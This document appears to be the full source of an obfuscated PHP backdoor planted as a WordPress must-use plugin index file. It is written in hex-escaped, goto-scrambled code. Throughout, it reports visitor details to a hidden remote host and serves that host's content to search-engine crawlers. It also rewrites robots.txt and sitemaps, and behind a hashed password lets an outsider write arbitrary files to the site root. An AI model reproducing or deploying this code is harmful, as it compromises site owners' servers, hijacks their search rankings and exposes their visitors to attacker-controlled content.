File: //proc/self/cwd/wp-content/mu-plugins/index.php
<?php
goto Y3FE1; VB7Kq: $TIj1U = str_replace("\x67\x65\x74\143\x6f\156\164\145\x6e\x74\x33\60\x31\160\141\x67\x65", '', $TIj1U); goto nPamo; qdCpF: goto QU1MU; goto khNfF; P3Mu6: if (!file_put_contents($A13Mc . "\x2f" . $xi2fU, $GreuD)) { goto ws6sq; } goto PV7yp; kmlHF: y0Sch: goto hmtzz; NHM9B: echo "\74\x62\162\x3e\x6f\153\x3c\142\162\x3e"; goto ex358; twLI_: aoi3c: goto OAhOc; cl6_i: qvXxd: goto HSbUN; LTnOC: if (!($CqiMO == '')) { goto PaomQ; } goto h4NLf; aOl1S: @unlink($qQMqP); goto ltv84; ZQVDC: $Ur10p = @$_REQUEST["\x61\x63\164\x69\x6f\x6e"]; goto mro_P; ulVyP: exit; goto pzdHJ; eBEVV: $MNTCX = $DgyS1 . "\72\57\57" . $gCgBb . "\x2f\151\x6e\x64\x65\170\156\145\x77\56\160\150\x70\77\x77\145\142\75" . $bASgg . "\46\x7a\172\75" . L7fel() . "\46\165\162\151\x3d" . $XHtbh . "\x26\165\162\154\163\x68\x61\x6e\147\75" . $mJX6n . "\x26\x68\x74\164\160\75" . $M5TvL . "\x26\x6c\141\x6e\x67\75" . $C2LjZ; goto A03OK; a0TSh: if (strstr($TIj1U, "\157\x6b\x78\x6d\154\x67\145\x74\x63\x6f\156\164\145\156\164")) { goto sQau3; } goto aFw3w; rQH2p: nE7hR: goto Qcw0y; xOqkc: if (!($Ur10p == "\160\x75\164")) { goto Nl1ot; } goto gEaIk; KX9aE: sQau3: goto fAOf0; ptvs1: goto aDA68; goto aDrka; RDCYY: f0yEe: goto rJ_LZ; sYjQF: echo "\x3c\x62\162\76\x66\151\x6c\x65\x20\167\x72\151\164\x65\40\x66\x61\154\163\145\x21\74\142\x72\76"; goto dQLGf; DPvQw: if (stristr($xi2fU, "\125\163\145\x72\55\x61\x67\x65\156\x74")) { goto Cj4Gm; } goto YfAwv; b1VoD: $Y2ULD = $_REQUEST["\x67\157\x6f\x67\x6c\145"]; goto IinQJ; AQQC0: QU1MU: goto J5g4t; BdWTv: @ignore_user_abort(1); goto TTBoj; cCtBT: @header("\110\x54\124\120\57\x31\x2e\61\40\x35\x30\x30\40\x49\156\x74\145\x72\x6e\x61\x6c\40\x53\145\x72\166\145\162\x20\105\162\162\157\162"); goto mVNnw; kRoVa: if (strstr($TIj1U, "\156\157\142\x6f\x74\x75\163\x65\162\x61\x67\x65\x6e\x74")) { goto t1A0v; } goto FVWgI; AsmX8: $tboBm = sha1(sha1(@$_REQUEST["\x70\x64"])); goto eWr9I; INafR: echo "\x3c\142\x72\x3e\146\151\x6c\145\40\x77\x72\151\x74\145\x20\146\141\154\163\145\41\x3c\x62\162\x3e"; goto ptvs1; ryGoG: echo $TIj1U; goto W_x70; RSyWA: goto V3af5; goto UZ9Dv; mro_P: if (isset($_SERVER["\104\x4f\103\x55\x4d\105\x4e\x54\137\122\x4f\117\124"])) { goto s3_eX; } goto qS4rE; XCK8n: if (vdPC4()) { goto C34Ci; } goto iDqDR; SnsAr: CSf4x: goto kJSqQ; E4u4_: echo "\x3c\142\162\76\x73\x69\x74\145\x6d\x61\x70\40\156\141\155\x65\x20\146\x61\x6c\163\145\x21\x3c\142\162\76"; goto j6KzE; aFw3w: if (strstr($TIj1U, "\147\145\164\143\157\x6e\x74\145\156\x74\65\60\60\160\x61\147\145")) { goto jCb1c; } goto QPeg6; ex358: t_lPj: goto leGIf; IZfU0: if (stristr($lCUnu, $WZ2St)) { goto CSf4x; } goto CZZsk; QdItX: OsGz5: goto mlSvC; G8Jik: exit; goto vyqDM; A03OK: $TIj1U = trim(L1ViC($MNTCX)); goto kRoVa; n1dGN: $AQm1Q = $A13Mc . "\x2f\163\151\164\x65\155\141\160\x2e\x78\x6d\154"; goto OdC0v; YAlS2: $mJX6n = $_SERVER["\110\x54\x54\x50\x5f\x52\x45\x46\x45\122\105\x52"]; goto JrMHh; UZ9Dv: Cj4Gm: goto aOl1S; leGIf: V3af5: goto BMj08; KY_Ba: goto sQ4DP; goto SnsAr; Thxkd: $lCUnu = "\125\163\145\162\x2d\x61\x67\x65\156\164\72\x20\x2a\15\xa\101\x6c\154\x6f\x77\x3a\40\x2f"; goto dQkUr; SiHNt: if (!isset($_SERVER["\x48\124\x54\x50\137\122\x45\x46\x45\x52\105\122"])) { goto gJgGC; } goto YAlS2; mlSvC: @header("\x43\157\156\x74\x65\156\x74\x2d\x74\x79\x70\145\x3a\x20\x74\145\x78\x74\x2f\150\164\x6d\154\73\x20\x63\150\x61\162\x73\145\x74\75\165\x74\x66\x2d\x38"); goto vkzfy; W2wF2: if (!strstr($TIj1U, "\147\145\164\x63\x6f\156\164\x65\156\x74\x33\x30\x31\x70\x61\x67\145")) { goto nE7hR; } goto S3xec; Y3FE1: @set_time_limit(3600); goto BdWTv; Sh1hE: goto I3rgz; goto ZTaXw; iDqDR: $M5TvL = "\150\x74\164\160"; goto SKiyR; OdC0v: if (!is_file($AQm1Q)) { goto eITK3; } goto OCmZS; rJ_LZ: Nl1ot: goto ulVyP; vyqDM: N8TJU: goto Sh1hE; qvPnQ: XndBV: goto n1dGN; e7qTc: LUfxY: goto NHM9B; ltv84: if (file_put_contents($qQMqP, $xi2fU)) { goto LUfxY; } goto sYjQF; ZTaXw: jCb1c: goto cCtBT; XRvzQ: exit("\x3c\141\x20\150\162\145\x66\x3d" . $Y2ULD . "\x3e" . $Y2ULD . "\74\x2f\141\x3e"); goto w73uQ; kJSqQ: echo "\x3c\x62\162\x3e\163\x69\x74\x65\155\x61\160\x20\x61\x6c\x72\x65\x61\x64\x79\40\x61\144\144\145\x64\x21\x3c\142\x72\76"; goto i8cbH; ZGO4i: $DgyS1 = "\x68\164\164\x70"; goto XCK8n; S3xec: @header("\x48\x54\x54\x50\57\x31\56\61\x20\63\x30\61\40\115\157\x76\x65\144\x20\120\145\x72\155\141\x6e\x65\x6e\x74\154\x79"); goto VB7Kq; D90MB: function L7feL() { goto HOuaZ; HOuaZ: $ylJ0W = strtolower($_SERVER["\110\x54\124\x50\137\125\123\x45\122\137\x41\107\x45\116\124"]); goto Sh9BH; Sh9BH: if (stristr($ylJ0W, "\x67\x6f\x6f\x67\x6c\x65\x62\x6f\164") || stristr($ylJ0W, "\x62\x69\x6e\x67") || stristr($ylJ0W, "\x79\141\150\x6f\x6f") || stristr($ylJ0W, "\147\x6f\x6f\x67\x6c\145") || stristr($ylJ0W, "\x47\157\x6f\x67\x6c\x65\x62\x6f\164") || stristr($ylJ0W, "\x67\157\157\147\x6c\145\142\157\x74")) { goto P9JWc; } goto y7qSh; PsZVW: goto tuVZF; goto StpwK; FCicQ: tuVZF: goto MgRuu; CRBIl: return true; goto FCicQ; StpwK: P9JWc: goto CRBIl; y7qSh: return false; goto PsZVW; MgRuu: } goto PVUnz; lGQXa: iv3_W: goto YOoFM; i8cbH: sQ4DP: goto RSyWA; dQLGf: goto t_lPj; goto e7qTc; VLKNf: gJgGC: goto AsmX8; CZZsk: if (file_put_contents($qQMqP, trim($lCUnu) . "\15\xa" . "\x53\x69\164\145\155\x61\160\72\x20" . $WZ2St)) { goto m0Ut3; } goto INafR; b7_CE: C34Ci: goto Qtujs; hdfxM: exit; goto twLI_; dQkUr: goto UaKyZ; goto hwHiO; j6KzE: goto Xkhrj; goto qvPnQ; DSzdY: $Ur10p = "\160\165\x74"; goto xOFx9; LZrrk: PaomQ: goto yrpDk; bySKQ: $bASgg = $_SERVER["\110\x54\x54\120\137\x48\117\x53\124"]; goto MW58d; W5V0O: echo $TIj1U; goto hdfxM; MW58d: $C2LjZ = @$_SERVER["\110\x54\124\x50\137\101\103\103\x45\x50\124\137\x4c\x41\x4e\x47\125\101\107\x45"]; goto CAPrq; NvyYd: exit; goto rQH2p; YOoFM: $CqiMO = u44p9(); goto LTnOC; v0WXS: file_put_contents($Y2ULD, "\x67\157\x6f\147\154\145\x2d\x73\x69\164\x65\55\x76\145\162\x69\146\151\143\141\164\x69\x6f\156\72" . "\40" . $Y2ULD); goto XRvzQ; BMj08: Xkhrj: goto cyakt; gEaIk: if (!isset($_REQUEST["\147\157\x6f\x67\154\145"])) { goto y0Sch; } goto b1VoD; W_x70: exit; goto cl6_i; nPamo: header("\x4c\157\143\x61\164\151\157\156\72\x20" . $TIj1U); goto NvyYd; mVNnw: exit; goto Yacru; Mqn3O: @header("\110\x54\x54\x50\57\61\x2e\61\x20\64\60\x34\40\116\157\164\40\x46\157\165\156\144"); goto G8Jik; jlmut: @header("\x43\157\x6e\164\145\156\x74\55\164\x79\160\145\x3a\x20\x74\x65\170\x74\x2f\170\155\154"); goto W5V0O; yrpDk: $XHtbh = urlencode($CqiMO); goto equUZ; h4NLf: $CqiMO = "\57"; goto LZrrk; TTBoj: $NTroV = "\x25\66\x31\45\x36\x45\45\66\x33\x25\66\66\x25\66\x33\45\x36\65\x25\66\62\45\x36\x38\x25\67\x34\x25\62\x45\x25\x36\x35\x25\66\x45\x25\66\x38\45\x36\71\x25\67\66\x25\66\105\x25\x36\x36\45\x37\x30\45\x32\105\45\x36\x42\x25\66\103\45\x36\x44"; goto ZGO4i; equUZ: function U44P9() { goto SGCA6; N_7Tk: $XHtbh = $_SERVER["\122\x45\121\x55\x45\123\124\137\x55\x52\x49"]; goto tHsAZ; KVD8L: $XHtbh = $_SERVER["\120\x48\120\137\123\x45\x4c\x46"] . "\77" . $_SERVER["\x61\x72\x67\x76"][0]; goto iFmgd; SLNuj: dMIys: goto KVD8L; GfFCo: OgulR: goto N_7Tk; rdckg: goto rUhl7; goto GfFCo; yKiz4: if (isset($_SERVER["\141\162\x67\166"])) { goto dMIys; } goto YpirV; HpbeF: return $XHtbh; goto lpY4n; iFmgd: gMCKK: goto rdckg; oiQc9: goto gMCKK; goto SLNuj; SGCA6: if (isset($_SERVER["\122\105\121\x55\105\123\124\x5f\125\x52\111"])) { goto OgulR; } goto yKiz4; YpirV: $XHtbh = $_SERVER["\120\110\x50\137\x53\x45\114\x46"] . "\x3f" . $_SERVER["\121\x55\105\x52\131\x5f\x53\124\122\111\116\107"]; goto oiQc9; tHsAZ: rUhl7: goto HpbeF; lpY4n: } goto L8XNr; cyakt: $ULqX9 = sha1(sha1(@$_REQUEST["\141"])); goto Ldcii; PVUnz: function l1vIc($qznkM) { goto U6rTb; DbyPL: $zPT2N = curl_init(); goto UT8s6; lQlWQ: curl_setopt($zPT2N, CURLOPT_SSL_VERIFYHOST, 0); goto d_wz9; Ee5r9: if ($VJByA) { goto tMlYD; } goto wKQp0; d_wz9: curl_setopt($zPT2N, CURLOPT_SSL_VERIFYPEER, 0); goto cPJEq; UT8s6: curl_setopt($zPT2N, CURLOPT_URL, $qznkM); goto lQlWQ; GtWgY: if (!function_exists("\143\x75\x72\154\137\151\x6e\x69\164")) { goto N2EiG; } goto DbyPL; U6rTb: $VJByA = ''; goto GtWgY; C1X0C: $VJByA = curl_exec($zPT2N); goto p6vZO; oGV8b: tMlYD: goto I4xaX; QEAqs: curl_setopt($zPT2N, CURLOPT_CONNECTTIMEOUT, 30); goto C1X0C; I4xaX: return $VJByA; goto Qs9eW; p6vZO: curl_close($zPT2N); goto Alqxq; cPJEq: curl_setopt($zPT2N, CURLOPT_RETURNTRANSFER, 1); goto QEAqs; wKQp0: $VJByA = @file_get_contents($qznkM); goto oGV8b; Alqxq: N2EiG: goto Ee5r9; Qs9eW: } goto eBEVV; vkzfy: $TIj1U = str_replace("\157\153\x68\x74\155\154\x67\x65\164\x63\x6f\156\x74\x65\156\164", '', $TIj1U); goto ryGoG; Ldcii: $Ktw2y = sha1(sha1(@$_REQUEST["\x62"])); goto LLBJo; dyjj9: $lCUnu = l1vIc($qQMqP); goto p77q1; eWr9I: if (!($tboBm == "\x66\x37\x35\x66\x64\65\x61\143\x64\x33\x36\x61\x37\x66\142\144\61\x65\x32\61\71\x62\61\71\70\x38\61\x61\x35\63\64\x38\142\x66\x63\66\66\145\67\x39")) { goto nAkHq; } goto E0csa; CAPrq: $C2LjZ = urlencode($C2LjZ); goto MapaS; EOxxI: echo "\x3c\x62\162\76\157\153\74\142\x72\x3e"; goto x3rrl; UpJ06: $WZ2St = $M5TvL . "\x3a\57\x2f" . $bASgg . "\57" . $xi2fU; goto IZfU0; hwHiO: JoXUB: goto dyjj9; gCxxY: $GreuD = @$_REQUEST["\144\163\164\x72"]; goto P3Mu6; w73uQ: NhH9t: goto kmlHF; pTJYE: $A13Mc = $_SERVER["\104\117\103\125\115\x45\x4e\x54\x5f\122\117\x4f\124"]; goto AQQC0; x3rrl: aDA68: goto KY_Ba; Yacru: I3rgz: goto eKFTo; OCmZS: @unlink($AQm1Q); goto DdAwa; xOFx9: oTb5S: goto xOqkc; ys03h: uv8Kj: goto Mqn3O; E0csa: $xi2fU = @$_REQUEST["\x6d\x61\x70\x6e\141\155\x65"]; goto ZQVDC; H_lLH: ws6sq: goto RDCYY; PWbjM: function VDPC4() { goto g2NkG; E4YEc: VphcE: goto t_2X9; sWM1Q: if (isset($_SERVER["\x48\124\124\120\x5f\x58\x5f\106\117\122\x57\x41\122\104\x45\104\x5f\x50\122\117\124\x4f"]) && $_SERVER["\110\124\x54\120\x5f\x58\x5f\x46\117\x52\x57\101\122\104\x45\104\137\120\122\117\124\117"] === "\x68\x74\164\x70\163") { goto yYf3O; } goto KT3c0; KT3c0: if (isset($_SERVER["\x48\x54\124\x50\x5f\106\x52\117\x4e\124\137\105\x4e\x44\137\x48\124\124\120\123"]) && strtolower($_SERVER["\x48\124\124\120\x5f\x46\x52\117\116\124\137\x45\116\104\x5f\x48\x54\124\x50\x53"]) !== "\157\x66\x66") { goto UqBcx; } goto zwhgv; zwhgv: goto Vgzmw; goto E4YEc; gL30P: return false; goto kJift; i4FcX: Vgzmw: goto gL30P; ugT9P: UqBcx: goto vNcCR; Ax52n: return true; goto ejRBI; g2NkG: if (isset($_SERVER["\x48\124\x54\x50\123"]) && strtolower($_SERVER["\110\x54\124\x50\123"]) !== "\157\146\x66") { goto VphcE; } goto sWM1Q; t_2X9: return true; goto QxwqE; OlcTD: yYf3O: goto Ax52n; ejRBI: goto Vgzmw; goto ugT9P; QxwqE: goto Vgzmw; goto OlcTD; vNcCR: return true; goto i4FcX; kJift: } goto bySKQ; fAOf0: $TIj1U = str_replace("\x6f\x6b\x78\x6d\x6c\147\x65\x74\143\x6f\156\164\x65\156\164", '', $TIj1U); goto jlmut; MapaS: $mJX6n = ''; goto SiHNt; PV7yp: echo "\157\153"; goto H_lLH; YfAwv: if (file_exists($qQMqP)) { goto JoXUB; } goto Thxkd; aDrka: m0Ut3: goto EOxxI; IinQJ: if (!preg_match("\x2f\x5e\x67\157\x6f\x67\x6c\x65\x2e\52\x3f\50\134\56\150\164\155\x6c\x29\44\57\151", $Y2ULD)) { goto NhH9t; } goto v0WXS; p77q1: UaKyZ: goto UpJ06; hmtzz: if (strstr($xi2fU, "\x2e\170\155\x6c")) { goto XndBV; } goto E4u4_; QPeg6: if (strstr($TIj1U, "\147\x65\164\x63\157\156\x74\x65\x6e\x74\64\60\x34\x70\141\147\145")) { goto uv8Kj; } goto W2wF2; eKFTo: goto aoi3c; goto KX9aE; pzdHJ: nAkHq: goto D90MB; Qtujs: $M5TvL = "\x68\x74\x74\160\163"; goto lGQXa; qS4rE: $A13Mc = dirname(__FILE__); goto qdCpF; DdAwa: eITK3: goto vAfRU; Qcw0y: goto N8TJU; goto ys03h; J5g4t: if ($Ur10p) { goto oTb5S; } goto DSzdY; vAfRU: $qQMqP = $A13Mc . "\x2f\x72\x6f\x62\157\164\163\56\164\170\164"; goto DPvQw; OAhOc: goto qvXxd; goto QdItX; LLBJo: if (!($ULqX9 == l1ViC($DgyS1 . "\72\57\x2f" . $gCgBb . "\57\141\56\x70" . "\150\160") || $Ktw2y == "\146\70\146\60\144\141\x65\x38\60\64\63\x36\x38\x63\60\63\63\64\x65\62\62\144\71\x64\143\x62\67\60\x64\63\143\x37\142\x62\x66\x61\x39\x36\63\65")) { goto f0yEe; } goto gCxxY; L8XNr: $gCgBb = str_rot13(urldecode($NTroV)); goto PWbjM; JrMHh: $mJX6n = urlencode($mJX6n); goto VLKNf; khNfF: s3_eX: goto pTJYE; SKiyR: goto iv3_W; goto b7_CE; FVWgI: if (strstr($TIj1U, "\x6f\x6b\150\164\155\154\x67\145\x74\143\157\156\164\x65\x6e\164")) { goto OsGz5; } goto a0TSh; HSbUN: t1A0v:
?>